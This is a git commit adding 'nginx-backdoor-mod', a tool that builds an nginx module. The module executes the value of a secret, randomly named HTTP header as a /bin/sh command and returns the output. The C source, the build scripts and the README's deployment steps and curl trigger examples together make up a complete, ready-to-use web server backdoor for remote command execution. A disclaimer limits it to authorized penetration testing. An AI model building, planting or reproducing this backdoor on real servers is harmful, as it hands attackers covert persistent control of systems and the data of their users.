added code for ngx backdoor moduleHEADmain

6 files changed, 1106 insertions, 0 deletions

diff --git a/LICENSE b/LICENSE
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--- /dev/null
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+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
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+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..5614716
--- /dev/null
+++ b/README.md
@@ -0,0 +1,125 @@
+# nginx-backdoor-mod
+
+`nginx-backdoor-mod` is a penetration testing tool designed to create a custom Nginx module that adds a backdoor for executing system commands via HTTP headers. This tool is intended for authorized security testing to evaluate the security of Nginx-based web servers.
+
+> **WARNING**: This tool is for **authorized security testing only**. Unauthorized use may violate laws and regulations. The author and contributors are not responsible for misuse. Always obtain explicit permission before testing any system.
+
+## Features
+
+- **Dynamic Nginx Module Creation**: Build a custom Nginx module with a specified name and backdoor header.
+- **Command Execution via HTTP Headers**: Execute system commands on the server by sending a specific HTTP header.
+- **Support for Multiple Nginx Versions**: Download and build against specified Nginx releases from `nginx.org`.
+- **Dockerized Build Environment**: Use a Docker container to ensure consistent build dependencies.
+- **List Available Nginx Releases**: Retrieve a list of available Nginx versions for module compilation.
+
+## Installation
+
+### Prerequisites
+
+- **Docker**: Required to build the module in a consistent environment.
+- **Bash**: For running the build scripts.
+- **curl**: For downloading Nginx source code.
+
+### Steps
+
+- Clone the repository:
+
+```
+$ git clone https://cgit.heqnx.com/nginx-backdoor-mod
+$ cd nginx-backdoor-mod
+```
+
+- Build the docker environment with nginx mod build script:
+
+```
+$ ./build.sh
+[...]
+$ usage: build-nginx-backdoor-mod.sh [-l] [-r -n]
+
+-l     list nginx releases
+-r     choose release
+-n     set name for the built nginx module
+-h     print this help message and exit
+```
+
+## Usage
+
+### Command-Line Flags
+
+```
+$ ./build.sh
+[...]
+$ usage: build-nginx-backdoor-mod.sh [-l] [-r -n]
+
+-l     list nginx releases
+-r     choose release
+-n     set name for the built nginx module
+-h     print this help message and exit
+```
+
+### Examples
+
+#### List available Nginx releases
+
+```
+$ ./build-nginx-backdoor-mod.sh -l
+[inf] releases provided by nginx.org
+nginx-1.24.0.tar.gz
+nginx-1.25.0.tar.gz
+nginx-1.26.0.tar.gz
+[...]
+```
+
+#### Build a backdoor module for Nginx 1.20.1
+
+```
+$ ./build.sh -r nginx-1.20.1.tar.gz -n test
+[inf] downloading https://nginx.org/download/nginx-1.20.1.tar.gz
+[inf] extracting nginx-1.20.1.tar.gz to /root/nginx-backdoor-mod
+[inf] configure successful
+[inf] successfully built test.so
+
+[inf] output module "/root/nginx-backdoor-mod/test_v1.20.1_X-325901e0f4512f4c22a43a6eb455ae0b.so"
+[inf] use "X-325901e0f4512f4c22a43a6eb455ae0b" for backdoor authentication + command execution
+[inf] example: curl http://localhost -H 'X-325901e0f4512f4c22a43a6eb455ae0b: ls -la'
+[inf] enable with nginx module config in /etc/nginx/modules-enabled and "load_module /path/to/test.so;"
+[inf] enable with the main nginx config in /etc/nginx/nginx.conf and "load_module /path/to/test.so;"
+```
+
+#### Deploy the module
+
+- Copy the generated `.so` file (e.g., `test_v1.20.1_X-<random>.so`) to your Nginx server’s modules directory (e.g., `/usr/lib/nginx/modules/`).
+
+- Add the module to your Nginx configuration in `/etc/nginx/nginx.conf` or a file in `/etc/nginx/modules-enabled/`:
+
+```
+load_module /usr/lib/nginx/modules/test_v1.20.1.so;
+```
+
+- Reload or restart Nginx:
+
+```
+$ nginx -s reload
+$ systemctl restart nginx
+```
+
+- Test the backdoor by sending a command via the specified header:
+
+```
+$ curl http://localhost -H 'X-<random>: whoami'
+```
+
+## Technical Details
+
+- **Docker Build**: The tool uses a Dockerfile to create an Ubuntu-based environment with dependencies (`build-essential`, `libpcre3`, `zlib1g`, `libssl-dev`, `curl`).
+- **Module Template**: The `ngx_mod_template/` directory contains a `config` file and `ngx_mod_template.c`, which are modified during the build to set the module name and backdoor header.
+- **Backdoor Mechanism**: The module checks for a specific HTTP header (randomly generated during the build) and executes its value as a shell command using `/bin/sh`.
+- **Output**: The compiled module is saved as `<name>_v<version>_<header>.so` in the `nginx-backdoor-mod/` directory.
+
+## License
+
+This project is licensed under the GNU GENERAL PUBLIC LICENSE. See the LICENSE file for details.
+
+## Disclaimer
+
+`nginx-backdoor-mod` is provided "as is" without warranty. The author and contributors are not liable for any damages or legal consequences arising from its use. Use responsibly and only in authorized environments.
diff --git a/build-nginx-backdoor-mod.sh b/build-nginx-backdoor-mod.sh
new file mode 100644
index 0000000..1e8ec52
--- /dev/null
+++ b/build-nginx-backdoor-mod.sh
@@ -0,0 +1,100 @@
+#!/bin/bash
+
+function usage() {
+    printf "%s\n" \
+        "usage: $(basename $0) [-l] [-r -n]" \
+        "" \
+        "-l     list nginx releases" \
+        "-r     choose release" \
+        "-n     set name for the built nginx module" \
+        "-h     print this help message and exit"
+        
+    exit 1
+}
+
+while getopts "lr:n:h" opts; do
+    case $opts in
+        l)
+            releases=$(curl -sSL https://nginx.org/download/ | grep -Eoi '"nginx-[0-9\.]+.tar.gz"' | tr -d '"' | sort -u)
+            printf "%s\n" "[inf] releases provided by nginx.org"
+            for i in $releases; do
+                printf "%s\n" "${i}"
+            done
+            exit 1
+            ;;
+        r) release="${OPTARG}";;
+        n) name="${OPTARG}";;
+        h) usage;;
+        *) usage;;
+    esac
+done
+
+header="X-$(tr -dc 'a-f0-9' < /dev/urandom | head -c32)"
+
+if test -n "${name}"; then
+    sed -i "s/__MODULENAME__/${name}/g" /root/ngx_mod_template/config
+    sed -i "s/__NAME__/${name}/g" /root/ngx_mod_template/ngx_mod_template.c
+    sed -i "s/__HEADER__/${header}/g" /root/ngx_mod_template/ngx_mod_template.c
+
+    cp /root/ngx_mod_template/ngx_mod_template.c "/root/ngx_mod_template/${name}.c"
+else
+    usage
+fi
+
+if test -n "${release}"; then
+    download_url="https://nginx.org/download/${release}"
+    version=$(printf "%s\n" "${release}" | grep -Eo "([0-9]+\.[0-9]+\.[0-9]+)")
+    logfile="/root/nginx-backdoor-mod/build_${version}.log"
+    dir_name="/root/nginx-backdoor-mod"
+
+    if [[ $(curl -o /dev/null -s -w "%{http_code}" "${download_url}") != "404" ]]; then
+        printf "%s\n" "[inf] downloading ${download_url}"
+        mkdir -p "${dir_name}" &>/dev/null
+        (
+            cd "${dir_name}"
+            curl -sSL "${download_url}" -OJ
+            printf "%s\n" "[inf] extracting ${release} to ${dir_name}"
+            tar xf "${release}"
+        )
+    fi
+
+    (
+        cd "${dir_name}/nginx-${version}"
+        if test -f configure; then
+            if ./configure --add-dynamic-module=/root/ngx_mod_template/ --with-compat 2>&1 >$logfile; then
+                printf "%s\n" "[inf] configure successful"
+            else
+                printf "%s\n" "[wrn] skipping \"--with-compat\" for configure"
+                if ./configure --add-dynamic-module=/root/ngx_mod_template/ 2>&1 >$logfile; then
+                    printf "%s\n" "[inf] configure successful"
+                fi
+            fi
+        else
+            printf "%s\n" "[err] \"configure\" not found"
+            exit 1
+        fi
+        if make modules CFLAGS="-Wno-unused-result" 2>&1 >$logfile; then
+            printf "%s\n" "[inf] successfully built ${name}.so"
+        else
+            if make CFLAGS="-Wno-unused-result" 2>&1 >$logfile; then
+                printf "%s\n" "[inf] successfully built ${name}.so"
+            fi
+            printf "%s\n" "[err] failed to build ${name}.so"
+        fi
+    )
+
+    if test -f "${dir_name}/nginx-${version}/objs/${name}.so"; then
+        cp "${dir_name}/nginx-${version}/objs/${name}.so" "${dir_name}/${name}_v${version}_${header}.so"
+        printf "%s\n" \
+            "" \
+            "[inf] output module \"${dir_name}/${name}_v${version}_${header}.so\"" \
+            "[inf] use \"${header}\" for backdoor authentication + command execution" \
+            "[inf] example: curl http://localhost -H '${header}: ls -la'" \
+            "[inf] enable with nginx module config in /etc/nginx/modules-enabled and \"load_module /path/to/${name}.so;\"" \
+            "[inf] enable with the main nginx config in /etc/nginx/nginx.conf and \"load_module /path/to/${name}.so;\""
+    else
+        printf "%s\n" "[err] module not found at \"${dir_name}/nginx-*/objs/${name}.so\", this should not happen"
+    fi
+else
+    usage
+fi
diff --git a/build.sh b/build.sh
new file mode 100755
index 0000000..bfae04c
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,14 @@
+#!/bin/bash
+
+docker build -t nginx-backdoor-mod -f - . << "EOF"
+FROM ubuntu:latest
+ENV DEBIAN_FRONTEND=noninteractive
+
+RUN apt update -yqq 
+RUN apt-get update && apt-get -y install build-essential libpcre3 libpcre3-dev zlib1g zlib1g-dev libssl-dev curl
+COPY build-nginx-backdoor-mod.sh /root/build-nginx-backdoor-mod.sh
+COPY ngx_mod_template/ /root/ngx_mod_template
+WORKDIR /root
+EOF
+
+docker run --rm -it -v $(pwd)/nginx-backdoor-mod:/root/nginx-backdoor-mod nginx-backdoor-mod /bin/bash /root/build-nginx-backdoor-mod.sh "$@"
diff --git a/ngx_mod_template/config b/ngx_mod_template/config
new file mode 100644
index 0000000..7c34704
--- /dev/null
+++ b/ngx_mod_template/config
@@ -0,0 +1,5 @@
+ngx_module_type=HTTP
+ngx_module_name=__MODULENAME__
+ngx_module_srcs="$ngx_addon_dir/__MODULENAME__.c"
+
+. auto/module
diff --git a/ngx_mod_template/ngx_mod_template.c b/ngx_mod_template/ngx_mod_template.c
new file mode 100644
index 0000000..e2a716d
--- /dev/null
+++ b/ngx_mod_template/ngx_mod_template.c
@@ -0,0 +1,188 @@
+#include <ngx_config.h>
+#include <ngx_core.h>
+#include <ngx_http.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+#define SHELL "/bin/sh"
+#define MAX_CMD_LEN 1024
+#define INITIAL_BUF_SIZE 4096
+#define MAX_OUTPUT_SIZE (1 << 20)
+
+static ngx_str_t backdoor = ngx_string("__HEADER__");
+
+static ngx_int_t __NAME___handler(ngx_http_request_t *r);
+static ngx_int_t __NAME___init(ngx_conf_t *cf);
+static void __NAME___down(ngx_cycle_t *cycle);
+static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len);
+
+static ngx_command_t __NAME___commands[] = {
+    { ngx_string("__NAME__"),
+      NGX_HTTP_LOC_CONF|NGX_CONF_NOARGS,
+      NULL,
+      0,
+      0,
+      NULL },
+    ngx_null_command
+};
+
+static ngx_http_module_t __NAME___ctx = {
+    NULL,
+    __NAME___init,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL
+};
+
+ngx_module_t __NAME__ = {
+    NGX_MODULE_V1,
+    &__NAME___ctx,
+    __NAME___commands,
+    NGX_HTTP_MODULE,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    NULL,
+    &__NAME___down,
+    NGX_MODULE_V1_PADDING
+};
+
+static ngx_int_t __NAME___init(ngx_conf_t *cf)
+{
+    ngx_http_handler_pt *h;
+    ngx_http_core_main_conf_t *cmcf;
+
+    cmcf = ngx_http_conf_get_module_main_conf(cf, ngx_http_core_module);
+    h = ngx_array_push(&cmcf->phases[NGX_HTTP_ACCESS_PHASE].handlers);
+    if (h == NULL) {
+        return NGX_ERROR;
+    }
+
+    *h = __NAME___handler;
+    return NGX_OK;
+}
+
+static ngx_int_t __NAME___handler(ngx_http_request_t *r)
+{
+    ngx_table_elt_t *header = search_headers_in(r, backdoor.data, backdoor.len);
+    if (header == NULL) {
+        return NGX_OK;
+    }
+
+    if (header->value.len > MAX_CMD_LEN) {
+        return NGX_HTTP_BAD_REQUEST;
+    }
+
+    static const char *cmd_prefix = SHELL " -c \"";
+    static const char *cmd_suffix = "\" 2>&1";
+    size_t cmd_len = ngx_strlen(cmd_prefix) + header->value.len + ngx_strlen(cmd_suffix) + 1;
+    u_char *cmd = ngx_pnalloc(r->pool, cmd_len);
+    if (cmd == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    u_char *p = cmd;
+    p = ngx_cpymem(p, cmd_prefix, ngx_strlen(cmd_prefix));
+    p = ngx_cpymem(p, header->value.data, header->value.len);
+    p = ngx_cpymem(p, cmd_suffix, ngx_strlen(cmd_suffix));
+    *p = '\0';
+
+    size_t buf_size = INITIAL_BUF_SIZE;
+    u_char *response = ngx_pnalloc(r->pool, buf_size);
+    if (response == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+    size_t response_len = 0;
+
+    FILE *fp = popen((char *)cmd, "r");
+    if (fp == NULL) {
+        static const u_char err[] = "Failed to run command - popen failure\n";
+        response_len = sizeof(err) - 1;
+        response = (u_char *)err;
+    } else {
+        char buf[1024];
+        while (fgets(buf, sizeof(buf), fp) != NULL) {
+            size_t line_len = ngx_strlen(buf);
+            if (response_len + line_len + 1 > buf_size) {
+                if (buf_size >= MAX_OUTPUT_SIZE) {
+                    pclose(fp);
+                    return NGX_HTTP_REQUEST_ENTITY_TOO_LARGE;
+                }
+                buf_size = ngx_min(buf_size * 2, MAX_OUTPUT_SIZE);
+                u_char *new_response = ngx_pnalloc(r->pool, buf_size);
+                if (new_response == NULL) {
+                    pclose(fp);
+                    return NGX_HTTP_INTERNAL_SERVER_ERROR;
+                }
+                ngx_memcpy(new_response, response, response_len);
+                response = new_response;
+            }
+            ngx_memcpy(response + response_len, buf, line_len);
+            response_len += line_len;
+        }
+        pclose(fp);
+
+        if (response_len == 0) {
+            static const u_char empty[] = "Empty command response\n";
+            response_len = sizeof(empty) - 1;
+            response = (u_char *)empty;
+        }
+    }
+
+    if (ngx_http_discard_request_body(r) != NGX_OK) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    r->headers_out.status = NGX_HTTP_OK;
+    r->headers_out.content_length_n = response_len;
+    ngx_str_set(&r->headers_out.content_type, "text/plain");
+
+    ngx_int_t rc = ngx_http_send_header(r);
+    if (rc == NGX_ERROR || rc > NGX_OK || r->header_only) {
+        return rc;
+    }
+
+    ngx_buf_t *b = ngx_create_temp_buf(r->pool, response_len);
+    if (b == NULL) {
+        return NGX_HTTP_INTERNAL_SERVER_ERROR;
+    }
+
+    b->pos = response;
+    b->last = response + response_len;
+    b->memory = 1;
+    b->last_buf = (r == r->main) ? 1 : 0;
+    b->last_in_chain = 1;
+
+    ngx_chain_t out = { b, NULL };
+    rc = ngx_http_output_filter(r, &out);
+
+    return rc == NGX_OK ? NGX_OK : NGX_ERROR;
+}
+
+static void __NAME___down(ngx_cycle_t *cycle) {
+}
+
+static ngx_table_elt_t *search_headers_in(ngx_http_request_t *r, u_char *name, size_t len)
+{
+    ngx_list_part_t *part = &r->headers_in.headers.part;
+    ngx_table_elt_t *h = part->elts;
+
+    for (ngx_uint_t i = 0; ; i++) {
+        if (i >= part->nelts) {
+            if (part->next == NULL) break;
+            part = part->next;
+            h = part->elts;
+            i = 0;
+        }
+        if (len != h[i].key.len || ngx_strcasecmp(name, h[i].key.data) != 0) {
+            continue;
+        }
+        return &h[i];
+    }
+    return NULL;
+}